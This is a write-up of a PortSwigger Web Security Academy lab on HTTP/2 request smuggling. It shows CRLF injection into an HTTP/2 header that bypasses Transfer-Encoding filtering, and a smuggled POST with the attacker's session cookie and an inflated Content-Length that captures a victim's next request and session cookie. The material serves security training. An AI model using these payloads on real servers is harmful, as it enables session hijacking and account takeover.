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# HTTP/2 Request Smuggling via CRLF Injection
HTTP/2 Request Smuggling via CRLF Injection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### HTTP/2 Request Smuggling via CRLF Injection
This lab is vulnerable to the request smuggling because the front server converts HTTP/2 requests to HTTP/1 and does not properly clean up some incoming headers.
The objective is to exploit an HTTP/2 specific smuggling vector in order to access another user's account. The victim visits the home page every 15 seconds.
It is observed that the application maintains a search history, which is directly linked to the session cookie.
We start by sending a test request, but no abnormal behavior appears
```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked
0
GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18
test=testing
```
The inspection shows that the validation of the headers related to **Transfer-Encoding** is insufficient. / So we try to bypass the filtering: removal of the original `chunked` and addition of a new arbitrary header in HTTP/2.
```http
Transfer-Encoding: chunked
```
Burp adds:
```http
Name:
test
Value:
test
Transfer-Encoding: chunked
```
The server accepts the modification, confirming a poor sanitization of the headers.
The idea is to push the victim to **make a search request containing our own session cookie**, while injecting an excessive **Content-Length** so that his next request is concatenate with ours.
Payload smuggled :
```http
0
POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850
search=x
```
When the server processes the next request — that of the victim — its contents appear in our response, integrating **its headers and in particular its session cookie**.
So we can **fly the user session** and access his account.
---
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